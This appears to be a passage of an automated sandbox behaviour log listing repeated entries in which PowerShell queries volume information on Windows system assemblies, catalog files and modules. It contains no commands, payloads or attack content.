Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
